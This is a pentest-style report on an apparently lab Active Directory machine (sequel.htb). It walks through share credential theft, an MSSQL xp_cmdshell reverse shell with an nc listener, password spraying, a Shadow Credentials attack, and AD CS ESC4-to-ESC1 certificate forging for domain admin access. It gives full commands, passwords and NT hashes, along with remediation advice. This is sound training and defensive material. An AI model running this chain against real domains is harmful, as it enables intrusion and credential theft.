

Offensive Security Assessment – Project EscapeTwo (Active Directory / PKI)

Parameter	Detail
Project ID	SEC-RPT-AD-ESCTWO-2025
Classification	TLP:CLEAR / Public
Client / Environment	SEQUEL.HTB Active Directory Forest
Asset(s) in Scope	dc01.sequel.htb (10.129.147.138)
Assessment Type	Internal Penetration Test / Certificate Services (AD CS) Security Audit
Status	Critical Compromise Validated / Full Domain Control

2. Executive Summary

During the internal security audit on the Active Directory infrastructure of the sequel.htb domain, a critical chain of cascading attack vectors was identified, enabling an unprivileged operator to achieve complete compromise of the enterprise forest.

Starting from a standard user account (rose) with initial access to network shares, the exposure of master database credentials was discovered in unsegregated office spreadsheets. This facilitated remote code execution on Microsoft SQL Server 2019 via xp_cmdshell. Subsequently, the presence of plaintext passwords in unattended setup files (sql-Configuration.INI) permitted lateral movement toward intermediate operational accounts with delegated ownership privileges (WriteOwner) over the Certification Authority service account (ca_svc). Exploiting deficient permissions in Active Directory Certificate Services (AD CS), a vulnerable certificate template was reconfigured (transition from ESC4 to ESC1), forging Kerberos authentication certificates (PKINIT) and impersonating the corporate Administrator (Administrator), irreversibly compromising the confidentiality, integrity, and availability of the domain.

3. Findings and Impact Matrix

Vulnerability / Finding	Severity	CVSS v3.1	OWASP / CWE	MITRE ATT&CK Mapping
-------------------------	----------	-----------	-------------	----------------------

Abuse of AD CS Templates (ESC4 to ESC1)	Critical	9.8	CWE-295 / OWASP A04:2021	T1649 - Steal or Forge Authentication Certificates
Remote Code Execution via MSSQL (xp_cmdshell)	Critical	8.8	CWE-78 / OWASP A03:2021	T1059.001 - Command and Scripting Interpreter: PowerShell
Insecure Ownership Control in DACL (WriteOwner)	High	8.8	CWE-276 / OWASP A01:2021	T1222.001 - File and Directory Permissions Modification: Windows DACL
Credential Leak in SMB Network Shares	High	7.5	CWE-522 / OWASP A01:2021	T1039 - Data from Network Shared Drive
Plaintext Password Storage (.INI)	High	7.5	CWE-312 / OWASP A02:2021	T1552.001 - Unsecured Credentials: Credentials in Files

4. Technical Details and Proof of Concept (PoC)

4.1. Credential Exposure in SMB and Command Execution in MSSQL

The network share //dc01.sequel.htb/Accounting Department had read permissions for any authenticated domain user. Using the initial account provided (rose), an inspection of its contents was conducted.

```
smbclient //dc01.sequel.htb/Accounting\ Department -U 'rose' --password 'KxEPkKe6R8su'  
smb: \> get accounts.xlsx  
smb: \> get accounting_2024.xlsx
```

Decompressing the OpenXML structure of the accounts.xlsx file revealed administrative credentials for the database engine within the sharedStrings.xml stream:

```
unzip -q accounts.xlsx -d accounts_extracted  
cat accounts_extracted/xl/sharedStrings.xml | xmllint --xpath '//*[local-name()="t"]/text()' -  
# Credenciales maestras identificadas: sa : MSSQLP@ssw0rd!
```

With the credentials of the sa user, an interactive connection was established against TCP port 1433 of the domain controller. The extended stored procedure xp_cmdshell was enabled to execute operating system-level commands:

```
mssqlclient.py 'sequel.htb/sa:MSSQLP@ssw0rd!@dc01.sequel.htb' -windows-auth
SQL (sa  dbo@master)> EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
SQL (sa  dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL (sa  dbo@master)> xp_cmdshell whoami
# Salida: sequel\sql_svc
```

A reverse connection was established by executing a Base64-encoded PowerShell command:

```
SQL (sa  dbo@master)> xp_cmdshell powershell -e
JABjAGwAaQBLAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0...
```

On the assessment station, the interactive session was received within the context of sequel\sql_svc:

```
nc -lvnp 9001
# Conexión establecida desde 10.129.147.138:63290
whoami
# sequel\sql_svc
```

- **Technical Impact:** Remote arbitrary code execution under the sql_svc service account and access to the host's internal network.
- **Remediation & Hardening:**
 1. Restrict share and NTFS permissions on Accounting Department by enforcing the principle of least privilege.
 2. Disable xp_cmdshell via database policies and disable or rename the sa account.

4.2. Lateral Movement via Residual Installation Credentials

Inspecting the server file system revealed residual artifacts from the unattended SQL Server installation in C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI:

```
Get-Content C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | Select-String
"PASSWORD"
# Parámetro extraído: SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
```

A cross-check of the password against domain users was performed using netexec:

```
netexec smb dc01.sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3' --continue-
on-success
```

```
# [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
```

Once authentication was validated, access was gained to the WinRM service under the identity of ryan:

```
evil-winrm -i dc01.sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'  
*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt  
152ca58a992f638e343baf5b9a6c41a0
```

- **Technical Impact:** Vertical privilege escalation to an operator with delegated administrative capabilities.
- **Remediation & Hardening:** Clean up and sanitize installation directories by removing .ini, sysprep, and unattended answer files containing plaintext passwords.

4.3. Privilege Escalation via AD CS (DACL WriteOwner and ESC4 to ESC1 Transition)

Access control list (DACL) analysis revealed that ryan held WriteOwner rights over the ca_svc service account object. Using bloodyAD, ownership of the object was claimed and full control rights (GenericAll) were assigned:

```
bloodyAD -d sequel.htb --host 10.129.147.138 -u 'ryan' -p 'WqSZAF6CysDQbGb3'  
set owner ca_svc ryan  
bloodyAD -d sequel.htb --host 10.129.147.138 -u 'ryan' -p 'WqSZAF6CysDQbGb3'  
add genericAll ca_svc ryan
```

Through the Shadow Credentials technique, a public key was injected into the msDS-KeyCredentialLink attribute of ca_svc, requesting a Kerberos ticket via PKINIT to retrieve its NT hash:

```
certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account  
'ca_svc' -dc-ip 10.129.147.138  
# [*] Hash NT de ca_svc obtenido: 3b181b914e7a9d5508ea1e20bc2b7fce
```

The ca_svc account held modification permissions over the DunderMifflinAuthentication certificate template (ESC4 scenario). Control of the template was acquired, and its configuration was rewritten to a policy vulnerable to identity impersonation (ESC1, enabling CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT and client authentication):

```
bloodyAD -d sequel.htb --host 10.129.147.138 -u 'ca_svc' -p  
'3b181b914e7a9d5508ea1e20bc2b7fce' set owner
```

```
"CN=DunderMifflinAuthentication,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=sequel,DC=htb" ca_svc
certipy-ad template -template DunderMifflinAuthentication -write-default-
configuration -u 'ca_svc' -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip
10.129.147.138 -force
```

Utilizing the modified template, a digital certificate was requested impersonating the Domain Admin:

```
certipy-ad req -ca sequel-DC01-CA -u 'ca_svc' -hashes
3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.147.138 -template
DunderMifflinAuthentication -target dc01.sequel.htb -upn
'administrator@sequel.htb'
# [*] Certificado emitido y exportado: administrator.pfx
```

PKINIT authentication was executed to obtain the NT hash of the administrative account:

```
certipy auth -pfx administrator.pfx -dc-ip 10.129.147.138
# [*] Got hash for 'administrator@sequel.htb':
aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
```

Validation and access as domain superuser:

```
evil-winrm -u 'administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff' -i
10.129.147.138
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
743f1a6d3a487cd1a352b9f3a5c1a3d4
```

- **Technical Impact:** Complete and irreversible compromise of the SEQUEL.HTB Active Directory forest.
- **Remediation & Hardening:**
 1. Restrict modification permissions (WriteOwner, WriteDacl, GenericAll) over certificate templates and service accounts, limiting them strictly to Domain Admins.
 2. Disable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT on templates and mandate certificate manager approval (Requires Manager Approval).